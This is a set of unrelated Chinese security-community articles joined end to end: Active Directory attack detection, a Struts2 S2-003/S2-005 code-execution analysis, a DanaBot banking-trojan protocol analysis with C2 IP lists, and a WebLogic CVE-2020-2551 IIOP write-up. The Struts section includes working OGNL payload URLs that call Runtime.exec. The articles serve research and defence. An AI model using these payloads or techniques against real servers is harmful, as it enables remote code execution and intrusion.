让我们首先从侦查（Reconnaissance）开始。
### 3.1 PowerView
PowerView是PowerSploit中的一部分，PowerSploit是一个用于渗透测试的PowerShell框架。PowerView支持Bloodhound，这是一种在AD中能对连接对象进行图形展现的工具。
使用Bloodhound，可以实现以下内容：
1、查找所有域管理员账户；
2、查找登录到主机的域管理员；
3、使用域管理会话，查找从攻击者主机到目标主机的最短路径。
上面的第三条也说明，黑客需要对主机进行攻击，才能进入域管理员账户。这种方法显著减少了攻击者对域获得完全控制所需要的时间。
PowerView与允许在AD对象（例如net.exe）上获取数据的内置使用程序之间存在区别，其区别在于PowerView使用的是LDAP，而不是SAMR。要检测这一活动，我们可以借助域控制器事件1644。通过在注册表中添加相关值，可以启动该事件的记录：
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNTDSDiagnostic\15 Field Engineering = 5
请注意，可能存在多种此类事件。同时，还有另外的一种方法，就是分析流量。由于LDAP是一种明文协议，因此所有查询都在流量中有所体现。
该框架的另一个特性，是它仅使用PowerShell，并且不具有依赖关系。此外，PowerShell
v5版本包含了一个高级审计选项，在实际检测工作中非常有用。事件4104中包含脚本内容，可以在其中搜索特定于PowerView的函数名称。
### 3.2 SPN扫描
这个实用程序可以替代Nmap。在攻击者知道AD中存在哪些用户和哪些组之后，他还需要有关服务的信息，这样才能对攻击目标具有一个全面的了解。
通常，使用Nmap扫描端口可以得到这样的信息。但由于这些信息已经存储在AD中，所以攻击者直接从AD检索即可。查询结果如下所示：会返回包含服务类的服务主体名称SPN（该服务类针对每种服务类型是唯一的）、FQDN格式的主机名称和某些服务的端口。
有关SPN的完整列表，请参阅 <https://adsecurity.org/?page_id=183> 。
要检测SPN扫描，可以使用LDAP事件审核。
SPN扫描具有明显优于Nmap的优点，也就是准确度较高。使用Nmap时，需要连接到每个主机，并且将数据包发送到指定范围的端口，而SPN列表只是一个查询的结果。
### 3.3 远程会话枚举
在横向移动阶段，有一个重要的任务，就是将用户与他们所登陆的计算机相匹配。攻击者这个时候已经拥有了用户凭据（哈希值或Kerberos
Ticket），同时已经搜索到受漏洞影响的主机或具有域管理员会话的主机。
在这两种情况下，攻击者的后续动作都会是：寻找可攻击目标 —> 对任意主机成功攻击 —> 上传Mimikatz —> 获得所需信息。
要检测此方案是否被使用，可以查询这两个事件：4624-成功登陆到远程系统（登录类型3）和命名管道为“srvsvc”的访问网络共享IPC$事件。
在左图中的红色标出部分，展示了SMB连接，随后连接到管道“srcsvc”。该管道允许通过服务器服务远程协议进行交互。终端主机从管道接收各种管理信息，例如，可以是NetSessEnum的请求。这一请求会返回使用其IP地址和名称登录到远程系统的完整用户列表。
通过MaxPatrol SIEM可以实现基于这两个事件与srvsvc相关性进行的检测。PT Network Attack
Discovery可以基于流量分析进行类似的检测。
### 3.4 Overpass-the-Hash
#### 攻击方式
Overpass-the-Hash实际上是Pass-the-Hash的升级版本。攻击者可以使用获得的NTLM哈希值进行Pass-the-Hash攻击。但由于这种攻击方式已经被大家知晓，并且容易被发现。所以产生了一种新的攻击向量——Overpass-the-Hash。
Kerberos协议专门用于防止用户密码通过任何方式在网络上发送。为避免这种情况，用户会在自己的计算机上使用密码哈希值来加密认证请求。密钥分发中心（Key
Distribution
Center，在域控制器上运行的特殊服务）会回复一个Ticket，以获取其他Ticket，因此这一过程也被称为票据授予票据（TGT，Ticket-Granting
Ticket）。在完成这一过程之后，客户端的身份验证通过，并且在之后的10小时内都可以请求访问其他服务的Ticket。因此，如果攻击者对处于目标服务（例如ERP系统或数据库）的可信组中的用户的哈希值进行转储，那么攻击者就可以自行发出Ticket，并成功登录到目标服务。
#### 检测方法
如果黑客使用PowerShell版本的Mimikatz进行攻击，那么日志中的脚本信息将会有所帮助，因为Invoke-Mimikatz的特征非常明显。
另一个检测手段，就是通过事件4688-创建一个对命令行进行扩展审计的进程。即使攻击者对二进制文件进行重命名，在命令行中也会包含命令，这对于Mimikatz来说非常有效。
如果要通过分析流量来检测Overpass-the-Hash攻击，可以使用以下线索：Microsoft建议在现代的域中使用AES256加密方法对身份验证请求进行加密，而Mimikatz发送的身份验证请求数据都是采用过时的加密方式ARCFOUR对数据进行加密的。
另外的一个特征是，Mimikatz发出的密钥算法套件（Cipher Suite）与合法域的套件不同，可以将此作为流量中的分析依据。
### 3.5 黄金票据
#### 攻击方式
黄金票据（Golden Ticket）是一个流行的攻击方法。
攻击者可以从名为krbtgt的特殊账户中获取密码的哈希值。回顾用户密码哈希值用于签署所有TGT的过程，我们发现在这一过程中，无需向密钥分发中心进行寻址。由于Golden
Ticket实际上就是一个TGT，因此攻击者可以生成这一Ticket。随后，攻击者可以向AD中的任何服务无限次发送身份验证请求，最终能够不受限制地访问目标资源。这也就是“黄金票据”这一名称的由来。
#### 检测方法
事件4768是“TGT授予”，事件4769是“已授予AD中某些服务进行身份验证所需的服务Ticket”。
在这种情况下，我们可以推测出正常行为与攻击行为之间的差异。尽管Golden
Ticket不从域控制器中请求TGT（因为它自身就生成TGT），但是它必须要请求TGS。因此，如果我们发现获得的TGT和TGS有所不同，那么就能判断出正在受到Golden
Ticket攻击。
MaxPatrol SIEM使用列表，记录所有已经发出的TGT和TGS，从而实现对该攻击方法的检测。
### 3.6 WMI远程执行
#### 攻击方式
攻击者在目标主机进行身份验证和获得授权后，就可以远程执行任务。WMI是一个系统中的内置机制，非常适合这种场景。在过去的几年中，WMI被攻击者普遍使用，其原因就在于WMI具有模仿合法活动的能力。
下图演示了系统内置实用程序wmic的使用过程。攻击者向该实用程序提供要连接的主机地址、凭据、进程调用Create
Operator以及要在远程主机上执行的命令。
#### 检测方法
通过检查远程登录事件4624，可以有效发现这类攻击。其中，一个重要的参数是登录ID。此外，还需要关注事件4688，该事件是“命令行创建进程”。在示例中，事件4688显示，创建的进程其父进程是WmiPrvSE.exe，这是一个用于远程管理的特殊WMI服务进程。我们可以看到发送的命令net
user / add以及Logon ID，它与事件4624中的记载相同。由此，我们就可以准确地判断出该命令是从哪个主机下发的。
同样，也有基于流量分析的检测方法，我们以实际样本为例。
我们可以清楚地看到Win32进程创建的关键词，以及它将要执行的命令行。下图所示的恶意软件与WannaCry以相同的方式分布在虚拟网络上，但后者并不是进行加密，而是执行了挖矿。恶意软件使用Mimikatz和EthernalBlue漏洞，对账户进行转储，并使用其登录到网络上可以访问的主机。通过WMI，恶意软件在这些主机上运行PowerShell，并且下载了PowerShell
Payload，其中包含Mimikatz、EthernalBlue和挖矿程序。
#### 安全建议
1、针对服务的账户，设置复杂的长密码（建议25位以上），这样攻击者就无法进行Kerberoasting攻击，因为理论上无法暴力破解此类密码。
2、启用PowerShell日志记录，有助于发现各类用于攻击AD的现代化工具。
3、将操作系统升级到Windows 10和Windows Server 2016。Microsoft在新版本操作系统中增加了名为Credential
Guard的安全机制，可以有效防止对NTLM哈希值和Kerberos Ticket的转储。
4、实施基于角色的访问控制。如果将AD、DC、服务器和工作站管理员的权限都分配给同一个角色，无疑是有风险的。
5、每年进行两次AD管理员更换，在更换的同时重置krbtgt（用于签署TGT的账户）密码两次。其中，更改密码两次非常重要，因为系统会同时存储当前密码和先前密码。假设网络受到攻击，并且攻击者已经得到了Golden
Ticket，更改密码会使攻击者的Ticket无效，必须要再次暴力破解密码。
6、使用及时更新数据库的安全防护工具，有助于发现当前正在进行的攻击行为。
### 3.7 DCShadow
#### 攻击方式
2018年1月24日，Benjamin Delpy和Vincent Le Toux在以色列的Microsoft
BlueHat上发布了一个新的Mimikatz模块，用于实施DCShadow攻击。其攻击思路是，创建一个恶意域控制器，来复制AD域中的对象。研究人员定义了要进行成功复制所需要的最小Kerbero
SPN集——只需要两个SPN。此外，他们还展示了一个特殊功能，可以进行强制复制。研究人员声称这种攻击方式无法被SIEM发现，一个伪造的域控制器不会向SIEM发送事件。这样一来，攻击者就可以在不为人知的情况下，使用AD和SIEM进行各种后续攻击操作。
攻击方案如下：
这种方案，需要将两个SPN添加到发送攻击的系统中。其他域控制器需要这些SPN使用Kerberos进行身份验证以进行复制。由于规范中将域控制器表示为AD基类中的nTDSDSA类对象，因此应该创建这样的对象。最后，复制将由DRSReplicaAdd函数触发。
#### 检测方法
下图是DCShadow在流量中的示例。通过对流量进行分析，我们可以清楚看到将新对象添加到域控制器方案，然后触发复制的过程。
尽管发现该攻击方法的研究人员表示SIEM无法检测此类攻击，但我们还是找到了一种方法，能够发现网络上的可疑活动。
我们的关联中有一个合法的域控制器列表，它将在每次从域控制器进行复制时触发，而域控制器不在这个白名单之中。因此，安全人员可以进行调查，从而确认域控制器是由IT服务合法添加，还是遭受了DCShadow攻击后被添加。
DCShadow的攻击方式展现了一个新的攻击维度，也告诉我们，在信息安全的海洋中，防御者要时刻努力保持领先地位，展望未来，并能针对威胁迅速地采取行动。 | 社区文章 |
本系列文章将详细分析 **Java** 流行框架 **Struts2** 的历史漏洞，今后关于 **Struts2** 新的漏洞分析，也将更新于
[Struts2-Vuln](https://github.com/Mochazz/Struts2-Vuln) 项目上。该系列仅是笔者初学
**Java代码审计** 的一些记录，也希望能够帮助到想学习 **Java代码审计** 的朋友 。如有任何问题，欢迎 **issue** 。分析文章均来自
[**个人博客**](https://mochazz.github.io) ，转载请注明出处。
## 漏洞概要
Struts2-003是一个远程代码执行漏洞，Struts2-005为Struts2-003补丁绕过。
影响版本： **Struts 2.0.0 - Struts 2.1.8.1**
。更多详情可参考官方通告：<https://cwiki.apache.org/confluence/display/WW/S2-003>
## 漏洞环境
Struts2-003：Apache Tomcat/6.0.10+struts-2.0.8
Struts2-005：Apache Tomcat/6.0.10+struts-2.0.12
下载地址：<http://archive.apache.org/dist/struts/binaries/struts-2.0.8-all.zip>
<https://archive.apache.org/dist/tomcat/tomcat-6/v6.0.10/bin/apache-tomcat-6.0.10.zip>
## 漏洞分析
本次漏洞是通过绕过 **ParameterInterceptor** 拦截器的过滤，进而执行 **OGNL** 表达式，所以我们先在
**ParameterInterceptor:doIntercept()** 方法中下断点。 此时，存放 **HTTP** 数据的
**parameters** 变量将通过 **setParameters** 方法设置到值栈中，我们跟进该方法。
**setParameters** 方法会调用 **acceptableName** 方法判断参数是否含有非法字符，可以发现非法字符中包含 **#**
号，所以我们的 **payload** 需要将 **#** 号编码成 **\u0023** 。通过校验后，会调用 **setValue**
方法将值添加进值栈，我们继续跟进该方法。
在 **setValue** 方法中，会调用 **compile** 方法对字符串进行解析。
在解析字符串时，程序会对 **\u** 字符进行解码，具体处理代码在 **JavaCharStream:readChar()** 中。
经过 **compile** 方法解码后的字符串，又会回到 **Ognl.setValue()** ，表达式的解析执行也正是在此处。
我们来尝试弹个计算器：
login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\'deepin-calculator\')')(bla)(bla)
## 漏洞修复
下图右边为官方修复后的代码（左图struts-2.0.8，右图为struts-2.0.12）。
我们会发现，修复代码主要引入控制静态方法调用开关 **allowStaticMethodAccess** 变量，以及用于控制成员变量的访问权限的
**SecurityMemberAccess** 类对象。然而通过 **OGNL** 表达式，我们完全可以控制这两个变量的值，这也导致
**Struts2-003** 补丁可以被绕过，即后来的 **Struts2-005** 漏洞。
# struts-005 poc
login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\'deepin-calculator\')')(bla)(bla)
这里有个小小的疑问，在 **Struts2-005** 的 **poc**
中有这么一个设置：`#[email protected]@EMPTY_SET`
，在调试代码时会发现 `#_memberAccess.excludeProperties` 的默认值为 **dojo\\..*** (如下图)。
而这个正则一般不会匹配到我们的 **poc**
，也就是说其实我这里不设置`#[email protected]@EMPTY_SET`
也可以。然而实际测试结果是，没有设置这个，后面的 **java.lang.Runtime@getRuntime().exec**
就不能执行成功，这里不懂是什么原因。
最后再来看下 **Struts2-005**
的修复代码，下图右边为官方修复后的代码（左图struts-2.0.12，右图为struts-2.2.1）。修复代码最终使用了更加严格的正则
`[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+` 来校验参数名的合法性。
## 参考
[Struts2基于OGNL的RCE漏洞全解析](https://www.freebuf.com/vuls/217482.html)
[191204-Ognl
使用实例手册](http://blog.hhui.top/hexblog/2019/12/04/191204-Ognl-%E4%BD%BF%E7%94%A8%E5%AE%9E%E4%BE%8B%E6%89%8B%E5%86%8C/)
[【Struts2-命令-代码执行漏洞分析系列】S2-003和S3-005](https://xz.aliyun.com/t/2323)
[Struts2漏洞分析与研究之S2-005漏洞分析](https://blog.csdn.net/u011721501/article/details/41626959)
[Struts2漏洞系列之【S2-005】
参数名过滤不严谨导致代码执行](https://mp.weixin.qq.com/s/xaVxdYPRIhlxiFLy9WhUHA) | 社区文章 |
本文翻译自：
<https://www.proofpoint.com/us/threat-insight/post/danabot-gains-popularity-and-targets-us-organizations-large-campaigns>
* * *
Proofpoint研究人员在2018年5月首次发现了DanaBot，分析结果显示与攻击澳大利亚企业的威胁单元有关。本文对DanaBot进行逆向分析并分析了其攻击美国企业的活动。
# DanaBot近期活动
近期，ESET研究人员发文描述了DanaBot的最新攻击活动，受影响的国家包括波兰、意大利、大国和澳大利亚。9月底，研究人员发现攻击者将攻击美国使用的Panda银行木马变成了传播DanaBot。
## Hancitor攻击活动
9月26日，Proofpoint研究人员发现一起针对美国接收者的上万的垃圾邮件攻击活动。邮件使用eFax诱饵文件（图1）和URL链接来下载含有恶意宏的文档（图2）。如果用户启用了宏，宏文件就会执行嵌入的Hancitor恶意软件，恶意软件执行后会接收任务来下载两个版本的Pony窃取器和DanaBot银行木马。
图1: 含有下载恶意payload的宏的URL消息示例
图2:含有Hancitor payload的宏文档
# 恶意软件分析 (v2.003)
DanaBot是一款用Delphi语言开发的银行恶意软件。本节在原有v2.003的基础上进行分析。这是目前最新的版本，最早是9月初出现的。该版本号是基于version字符串（图3）识别的。
图3: 和系统信息一起发回给C2服务器的DanaBot版本字符串
DanaBot是由以下三个组件组成的：
1. Loader:负责下载和加载主组件。
2. Main component: 负责下载、配置和加载模块
3. Modules: 负责完成不同的恶意软件功能
## 反分析技术
DanaBot明显含有大量的垃圾代码，代码中含有额外的指令、条件描述和循环等。加之是用Delphi语言编写的，所以非常影响对DanaBot的逆向。另外，DanaBot使用Windows
API函数哈希和加密字符串来防止分析师和自动化分析工具确定代码的作用。
加密的字符串的字符保存在DWORDs数组中，需要用key和基本的替换密文来解密。Github中有 IDA Pro
Python脚本和加载器中使用的解密字符串和主模块。
## Command & Control IPs
加载器和主模块C2 IP地址都以DWORDs的形式保存。图4是加载器组件的内存示例：
图4: DanaBot加载器模块所在内存中的C2 IP地址示例
## C2通信
之前的分析显示DanaBot的加载器模块使用HTTP进行通信，其主模块使用的是二进制协议。在v2.003版本中，所有组件都使用TCP
443端口的二进制协议。虽然使用的是443端口，但并没有使用TLS。
该协议在183字节的header之后是可选的payload数据。请求中的大多数的header值都回在响应header中返回。Payload数据的格式与特定的命令有关。
## 二进制协议header
Header示例如图5：
图5: DanaBot二进制协议中使用的183字节header
可以分成下面的域：
• Offset 0:随机值（垃圾stack）
• Offset 4: hardcoded -1 (DWORD)
• Offset 8: 命令(DWORD)
• Offset 0xc: affiliate ID (DWORD)
• Offset 0x10: hardcoded 1 (DWORD)
• Offset 0x14: random value based on a linear congruential generator (DWORD)
• Offset 0x18: unknown counter variable (DWORD)
• Offset 0x1c: system architecture (DWORD)
• Offset 0x20: Windows version information (DWORD)
• Offset 0x24: command argument (DWORD)
• Offset 0x28: admin status (DWORD)
• Offset 0x2c: process integrity level (DWORD)
• Offset 0x30: payload length (QWORD)
• Offset 0x38: length of next field (BYTE)
• Offset 0x39: bot ID (32 bytes)
• Offset 0x59: length of next field (BYTE)
• Offset 0x5a: command-dependent (32 bytes)
• Offset 0x7a: length of next field (BYTE)
• Offset 0x7b: a nonce (32 bytes)
• Offset 0x9b - end of header: random values (stack junk)
## 命令
研究人员共发现了以下命令，其中第一个命令是由loader执行的，其余的命令由主模块执行。
### Command 0x454 (1108): “Request main component”
该命令由加载器执行，用于从C2服务器请求主模块。命令参数（header中的offset
0x24）含有整数32或64来请求x86或x64版本的组件。响应payload中含有加密的数据和加密的128字节RAS签名区块用于验证数据。解密的key由CryptDeriveKey
Windows
API函数生成。数据是用`\x00`字节的初始化向量（IV）进行AES-256-CBC加密的。解密是数据就是`rundll32.exe`会执行的主模块DLL。
### Command 0x453 (1107): “Initial beacon”
这是主组件发送给C2服务器的第一条命令，请求和响应中都没有数据，所以研究人员认为这是一个信标。
### Command 0x44c (1100): “Request module identifiers”
恶意软件用这条命令从C2服务器请求一个模块id列表。图6是含有6个模块id的响应示例：
759CBB3E1B883BDCA23E9052462F641E
E0FBBC92DB9927BFC474A64DF4F9C22F
D0C851FBCA030928B535FAF3188DAFBA
A5BBBAB3A17BA2119F47F0E4316EE5BF
4F06D71C93E4105307339704D21C49A3
8C59B6C9985F983E248E27CC0BF98A2D
图6: 含有模块id列表的Command 0x44c response payload数据
### Command 0x44d (1101): “Request module”
这条命令用于从C2服务器请求模块。Header的offset`0x5a`域含有一个模块id，用于确定应该下载哪个模块。响应payload数据中含有一个1699字节的subheader、加密数据、以及用于验证数据的128字节的RAS签名区块。图7是subheader示例：
图7: 含有1699字节subheader的Command 0x44d response payload数据
下面这些域都在subheader中出现过：
• Offset 0: total length of subheader and data (QWORD)
• Offset 8: hardcoded -1 (DWORD)
• Offset 0x10: module name (520-byte wide string)
• Offset 0x218: module filename (520-byte wide string)
• Offset 0x649: length of next field (BYTE)
• Offset 0x64a: module identifier (32 bytes)
• Offset 0x682: module architecture (DWORD)
• Offset 0x686: module type (DWORD)
• Offset 0x68e: data is ZLIB-compressed flag (DWORD)
• Offset 0x692: length of encrypted data (QWORD)
用于解密模块的解密key是由`CryptDeriveKey Windows API`函数生成的，该函数由以下过程初始化：
1. 复制1699字节的subheader到缓存中，并将以下域清0：
a. Offset 0: subheader和数据的长度和(QWORD)
b. Offset 0x692: 解密数据的长度 (QWORD)
2. 对缓存进行MD5哈希
3. 哈希的大写十六进制摘要就是MD5哈希本身
数据是用IV和16个空`\x00`字节用AES-256-CBC加密的。解密的字符串可选用ZLIB压缩，一旦解压含有的模块dll就会被rundll32.exe执行。
表1: 模块列表
### Command 0x44f (1103): “Get configuration files”
恶意软件使用该命令来从C2服务器请求配置文件。恶意软件在接收到183字节的响应header后，恶意软件会在C2服务器响应response
payload数据前发送`\xff\xff\xff\xff\xff\xff\xff\xff`。Payload数据的格式和加密与模块类似，但会发送不同的配置文件。
表2: 配置文件
恶意软件用该命令来发送来发送系统信息或截屏等数据到C2。请求payload数据中含有656字节的subheader、加密数据和加密`session
key`（图8是subheader示例）。
图8:含有656字节subheader的 Command 0x44e request payload数据
Subheader中含有下面的域：
• Offset 0: total length (QWORD)
• Offset 8: hardcoded -1 (DWORD)
• Offset 0xc: affiliate ID (DWORD)
• Offset 0x17: length of next field (BYTE)
• Offset 0x18: bot ID (32 bytes)
• Offset 0x38: length of next field (BYTE)
• Offset 0x39: MD5 hex digest of plaintext data (32 bytes)
• Offset 0x5a: filename (520-byte wide string)
• Offset 0x264: data type (DWORD)
• Offset 0x270: system time (unknown format) (QWORD)
• Offset 0x280: timezone bias (DWORD)
• Offset 0x288: encrypted data length (QWORD)
数据可以用IV和16\x00字节进行ZLIB压缩和AES-256-CBC加密。加密key是用CryptDeriveKey
Windows函数生成的，RSA加密使用的是嵌入的RSA公钥。然后把RSA加密的AES加到加密数据的尾部。
表3: 发送的文件
## C&C基础设施
DanaBot用加载器来从C2服务器下载主组件。主组件含有10个硬编码的C2
IP地址列表，该IP地址被用作恶意软件通信。研究人员发现硬编码的C2列表每个消失会变化一次，而此时主模块会下载下来。研究人员发现每个样本的C2列表是不同的。研究人员24小时内共获得24个列表，240个IP地址，其中194个（80%）的IP是唯一的。重复数最多的前10个IP是：
• 158.255.215[.]31 (in 7 lists)
• 149.154.152[.]64 (in 7 lists)
• 37.235.53[.]232 (in 6 lists)
• 95.179.151[.]252 (in 5 lists)
• 178.209.51[.]227 (in 5 lists)
• 149.154.157[.]220 (in 5 lists)
• 45.77.54[.]180 (in 4 lists)
• 45.77.96[.]198 (in 3 lists)
• 45.77.51[.]69 (in 3 lists)
• 45.77.231[.]138 (in 3 lists)
整个C2的IP列表中，只有下面10个好像是有响应的：
• 149.154.152[.]64
• 149.154.157[.]220
• 158.255.215[.]31
• 178.209.51[.]227
• 37.235.53[.]232
• 45.77.231[.]138
• 45.77.51[.]69
• 45.77.54[.]180
• 45.77.96[.]198
• 95.179.151[.]252
研究人员还发现这些重叠、交叉的IP列表中还含有一些不能路由的IP：
• 10.181.255[.]78
• 225.100.146[.]224
• 225.21.55[.]173
• 226.181.243[.]104
• 228.226.171[.]37
• 234.106.187[.]114
• 234.63.249[.]87
• 234.97.12[.]178
• 235.40.105[.]171
• 238.87.111[.]55
因此，研究人员推测，主组件可能只含有几个真实的C2地址，其他的都是随机的诱饵地址。
# Affiliate System
根据传播方法和攻击目标，研究人员将DanaBot活动用affiliate ID进行分组：
不同affiliate ID的DanaBot样本也会使用相同的C2 IP地址。因此，研究人员推测DanaBot可能被设置为恶意软件即服务（MAAS）系统。
# 对比CryptXXX勒索软件
Proofpoint研究人员在2016年分析过CryptXXX文件加密勒索软件，该勒索软件与Reveton
“police”勒索软件有一些相似处。而且也是用Delphi语言编写，使用基于TCP 443端口的定制C2协议。
DanaBot的C2流量看似是该协议的进化版，使用AES加密和ZLIB压缩。CryptXXX checkin的格式是：
图9: CryptXXX checkin格式
CryptXXX和DanaBot都有下面的域：
• Offset 0: length of next field (BYTE)
• Offset 2: bot ID (32 bytes)
• Offset 0x34 : length of compressed buffer
• Offset 0x38: Zlib-compressed buffer (0x4e bytes)
压缩的缓存解码后：
图10: 解码的payload buffer
解码的缓存中有以下域：
• Offset 4: length of next field (BYTE)
• Offset 5: bot ID (32 bytes)
• Offset 0xce : length of next field (BYTE)
• Offset 0xcf : Affiliate ID (7 bytes)
• Offset 0xfc : length of next field (BYTE)
• Offset 0xfd : Version string (5 bytes)
之后的通信中会有一个解码的请求来下载Stealer模块——stiller.dll：
图11:解码的下载Stealer模块的请求
这样看来Danabot可能是同一个组织的不同恶意软件。该恶意软件家族最早的产品是恶意软件，随后在Reveton加入窃取器功能，进一步进化为CryptXXX勒索软件，现在在Danabot中加入了含有Stealer的银行木马和远程访问功能。
# 结论
DanaBot恶意软件的传播已经超越澳大利亚国界，目前攻击波兰、意大利、德国、奥德利、美国等。DanaBot是一款银行木马，也就是说其攻击目标一定程度上是有地理范围的。恶意软件本身含有反分析技术，更新的stealer和远程控制模块增加了其吸引力和可用性。
**参考文献**
[1] <https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0>
[2] <https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/>
[3] <https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear>
[4] <https://0ffset.wordpress.com/2018/08/12/post-0x16-hancitor-stage-1/>
[5] <https://www.proofpoint.com/us/threat-insight/post/cryptxxx-new-ransomware-actors-behind-reveton-dropping-angler>
[6] <http://malware-traffic-analysis.net/2016/04/20/index.html>
[7]
<https://github.com/EmergingThreats/threatresearch/blob/master/danabot/func_hashes.py>
[8]
<https://github.com/EmergingThreats/threatresearch/blob/master/danabot/loader_func_hashes.txt>
[9]
<https://github.com/EmergingThreats/threatresearch/blob/master/danabot/main_func_hashes.txt>
[10]
<https://github.com/EmergingThreats/threatresearch/blob/master/danabot/decrypt_str_ida.py>
[11]
<https://github.com/EmergingThreats/threatresearch/blob/master/danabot/loader_strings.txt>
[12]
<https://github.com/EmergingThreats/threatresearch/blob/master/danabot/main_strings.txt>
[13]
<https://github.com/EmergingThreats/threatresearch/blob/master/danabot/24_hours_of_ips.txt> | 社区文章 |
**作者： 天融信阿尔法实验室**
**原文链接：<https://mp.weixin.qq.com/s/dOycwt_-QpmbuUC8CmxLQQ>**
## 一、前言
2020年1月15日,Oracle发布了一系列的安全补丁,其中Oracle WebLogic
Server产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行远程代码。
经过分析这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是IIOP协议这块,虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,而JtaTransactionManager类是存在jndi注入的。
## 二、漏洞复现
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", "iiop://x.x.x.x:7001");
Context context = new InitialContext(env);
JtaTransactionManager...
在本地虚拟机上面就成功执行poc了
## 三、漏洞分析
根据官网漏洞描述及上面poc中可以知道 主要是利用IIOP协议进行的攻击。在分析之前先了解下这些协议的概念
根据oracle官网的[文档](https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html)
**RMI**
使用RMI，您可以使用Java编程语言编写分布式程序。RMI易于使用，您不需要学习单独的接口定义语言（IDL），并且可以获得Java固有的“编写一次，随处运行”的好处。客户端，远程接口和服务器完全用Java编写。RMI使用Java远程方法协议（JRMP）进行远程Java对象通信。
RMI缺少与其他语言的互操作性，因为它不使用CORBA-IIOP作为通信协议。
**IIOP，CORBA和Java IDL** IIOP是CORBA的通信协议，使用TCP /
IP作为传输方式。它指定了客户端和服务器通信的标准。CORBA是由对象管理组（OMG）开发的标准分布式对象体系结构。远程对象的接口以平台无关的接口定义语言（IDL）描述。实现了从IDL到特定编程语言的映射，将语言绑定到CORBA
/ IIOP。 Java SE CORBA / IIOP实现称为Java IDL。与IDlj 编译器一起，Java
IDL可用于从Java编程语言定义，实现和访问CORBA对象。
**RMI-IIOP** 以前，Java程序员不得不在RMI和CORBA / IIOP（Java
IDL）之间进行选择，以用于分布式编程解决方案。现在，通过遵守一些限制，RMI服务器对象可以使用IIOP协议并与以任何语言编写的CORBA客户端对象进行通信。此解决方案称为RMI-IIOP。RMI-IIOP将RMI风格的易用性与CORBA跨语言互操作性相结合。
oracle官网的RMI-IIOP的[例子](https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738) ,为了方便IDEA编辑器DEBUG调试我把官网例子稍改了一下,并把客户端和服务端分开存储。
先创建这三个公用的类
//Message.java
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class Message implements Serializable {
private void readObject(ObjectInputStream s) {
System.out.println("readObject...");
}
private void writeObject(ObjectOutputStream fos) throws IOException {
System.out.println("writeObject...");
}
}
//HelloInterface.java
import java.rmi.Remote;
public interface HelloInterface extends java.rmi.Remote {
public void sayHello(Message from) throws java.rmi.RemoteException;
}
//HelloImpl.java
import javax.rmi.PortableRemoteObject;
public class HelloImpl extends PortableRemoteObject implements HelloInterface {
public HelloImpl() throws java.rmi.RemoteException {
super(); // invoke rmi linking and remote object initialization
}
public void sayHello(Message from) throws java.rmi.RemoteException {
System.out.println("Hello from " + from + "!!");
System.out.flush();
}
}
编写服务端并把上面这三个java文件拷贝到一个java项目里面
//HelloServer.java
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
public class HelloServer {
public static void main(String[] args) {
try {
// Step 1: Instantiate the Hello servant
HelloImpl helloRef = new HelloImpl();
// Step 2: Publish the reference in the Naming Service
// using JNDI API
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.cosnaming.CNCtxFactory");
env.put(Context.PROVIDER_URL, "iiop://127.0.0.1:1050");
Context initialNamingContext = new InitialContext(env);
initialNamingContext.rebind("HelloService", helloRef);
System.out.println("Hello Server: Ready...");
} catch (Exception e) {
System.out.println("Trouble: " + e);
e.printStackTrace();
}
}
}
直接启动HelloServer的main方法会在target目录编译好代码
在项目的target/classes目录下执行rmic命令生成服务端和客户端的代理类
rmic -iiop org.example.HelloImpl
上面的命令会创建以下文件
_ HelloImpl_Tie.class 用于服务端
_ HelloInterface_Stub.class 用户客户端
启动服务端
# windows系统执行
start orbd -ORBInitialPort 1050
# linux系统执行
orbd -ORBInitialPort 1050 &
用IDEA编辑器直接启动HelloServer的main方法即可启动成功
在创建一个新的客户端项目去启动客户端代码.
import javax.rmi.*;
import java.util.Hashtable;
import javax.naming.InitialContext;
public class HelloClient {
public static void main(String args[]) {
try {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory");
env.put("java.naming.provider.url", "iiop://localhost:1050");
InitialContext ic = new InitialContext(env);
// STEP 1: Get the Object reference from the Name Service
// using JNDI call.
Object objref = ic.lookup("HelloService");
System.out.println("Client: Obtained a ref. to Hello server.");
// STEP 2: Narrow the object reference to the concrete type and
// invoke the method.
HelloInterface hi = (HelloInterface) PortableRemoteObject.narrow(
objref, HelloInterface.class);
Message message = new Message();
hi.sayHello(message);
} catch (Exception e) {
System.err.println("Exception " + e + "Caught");
e.printStackTrace();
}
}
}
启动步骤和服务端步骤除了不执行orbd命令其它步骤都一样.
用wireshark抓包看下
